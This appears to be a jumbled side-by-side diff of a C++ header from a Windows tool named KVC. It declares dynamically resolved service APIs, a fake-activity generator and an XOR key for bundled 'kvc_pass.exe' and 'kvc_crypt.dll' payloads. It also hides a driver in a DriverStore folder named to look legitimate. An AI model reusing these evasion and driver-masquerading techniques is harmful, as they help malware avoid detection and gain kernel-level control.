extern SystemModuleHandle g_kernel32; extern SystemModuleHandle g_kernel32;
extern decltype(&CreateServiceW) g_pCreateServiceW; extern decltype(&CreateServiceW) g_pCreateServiceW;
extern decltype(&OpenServiceW) g_pOpenServiceW; extern decltype(&OpenServiceW) g_pOpenServiceW;
extern decltype(&StartServiceW) g_pStartServiceW; extern decltype(&StartServiceW) g_pStartServiceW;
extern decltype(&DeleteService) g_pDeleteService; extern decltype(&DeleteService) g_pDeleteService;
extern decltype(&CreateFileW) g_pCreateFileW; extern decltype(&CreateFileW) g_pCreateFileW;
extern decltype(&ControlService) g_pControlService; extern decltype(&ControlService) g_pControlService;
// Service mode detection // Service mode detection
extern bool g_serviceMode; extern bool g_serviceMode;
extern volatile bool g_interrupted; extern volatile bool g_interrupted;
// Core driver functions // Core driver functions
bool InitDynamicAPIs() noexcept; bool InitDynamicAPIs() noexcept;
std::wstring GetServiceName() noexcept; std::wstring GetServiceName() noexcept;
std::wstring GetDriverFileName() noexcept; std::wstring GetDriverFileName() noexcept;
void GenerateFakeActivity() noexcept; void GenerateFakeActivity() noexcept;
std::wstring GetSystemTempPath() noexcept; std::wstring GetSystemTempPath() noexcept;
// Service utility functions // Service utility functions
bool IsServiceInstalled() noexcept; bool IsServiceInstalled() noexcept;
bool IsServiceRunning() noexcept; bool IsServiceRunning() noexcept;
std::wstring GetCurrentExecutablePath() noexcept; std::wstring GetCurrentExecutablePath() noexcept;
// Driver path helper // Driver path helper with dynamic discovery and fallback mechanism
inline std::wstring GetDriverStorePath() noexcept { // Searches for actual avc.inf_amd64_* directory in DriverStore FileRepository
wchar_t windowsDir[MAX_PATH]; // Creates directory if needed, falls back to system32\drivers on failure
if (GetWindowsDirectoryW(windowsDir, MAX_PATH) == 0) { inline std::wstring GetDriverStorePath() noexcept {
wcscpy_s(windowsDir, L"C:\\Windows"); wchar_t windowsDir[MAX_PATH];
} if (GetWindowsDirectoryW(windowsDir, MAX_PATH) == 0) {
std::wstring result = windowsDir; wcscpy_s(windowsDir, L"C:\\Windows");
return result + L"\\System32\\DriverStore\\FileRepository\\avc.inf_amd64_12ca23d60da30d59"; }
}
std::wstring baseResult = windowsDir;
// KVC combined binary processing constants std::wstring driverStoreBase = baseResult + L"\\System32\\DriverStore\\FileRepository\\";
constexpr std::array<BYTE, 7> KVC_XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
constexpr wchar_t KVC_DATA_FILE[] = L"kvc.dat"; // Dynamic search for avc.inf_amd64_* pattern in FileRepository
constexpr wchar_t KVC_PASS_FILE[] = L"kvc_pass.exe"; WIN32_FIND_DATAW findData;
constexpr wchar_t KVC_CRYPT_FILE[] = L"kvc_crypt.dll"; std::wstring searchPattern = driverStoreBase + L"avc.inf_amd64_*";
HANDLE hFind = FindFirstFileW(searchPattern.c_str(), &findData);
if (hFind != INVALID_HANDLE_VALUE) {
// Found existing directory - use first match
do {
if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
FindClose(hFind);
return driverStoreBase + findData.cFileName;
}
} while (FindNextFileW(hFind, &findData));
FindClose(hFind);
}
// No existing directory found - create with TrustedInstaller privileges
std::wstring targetPath = driverStoreBase + L"avc.inf_amd64_12ca23d60da30d59";
return targetPath;
}
// Enhanced version that ensures directory exists before returning path
// Returns empty string on critical failure, valid path on success
inline std::wstring GetDriverStorePathSafe() noexcept {
std::wstring driverPath = GetDriverStorePath();
// Ensure directory exists - critical for driver operations
DWORD attrs = GetFileAttributesW(driverPath.c_str());
if (attrs == INVALID_FILE_ATTRIBUTES) {
// Try to create if it doesn't exist
if (!CreateDirectoryW(driverPath.c_str(), nullptr) &&
GetLastError() != ERROR_ALREADY_EXISTS) {
return L""; // Critical failure
}
} else if (!(attrs & FILE_ATTRIBUTE_DIRECTORY)) {
return L""; // Path exists but is not a directory
}
return driverPath;
}
// KVC combined binary processing constants
constexpr std::array<BYTE, 7> KVC_XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
constexpr wchar_t KVC_DATA_FILE[] = L"kvc.dat";
constexpr wchar_t KVC_PASS_FILE[] = L"kvc_pass.exe";
constexpr wchar_t KVC_CRYPT_FILE[] = L"kvc_crypt.dll";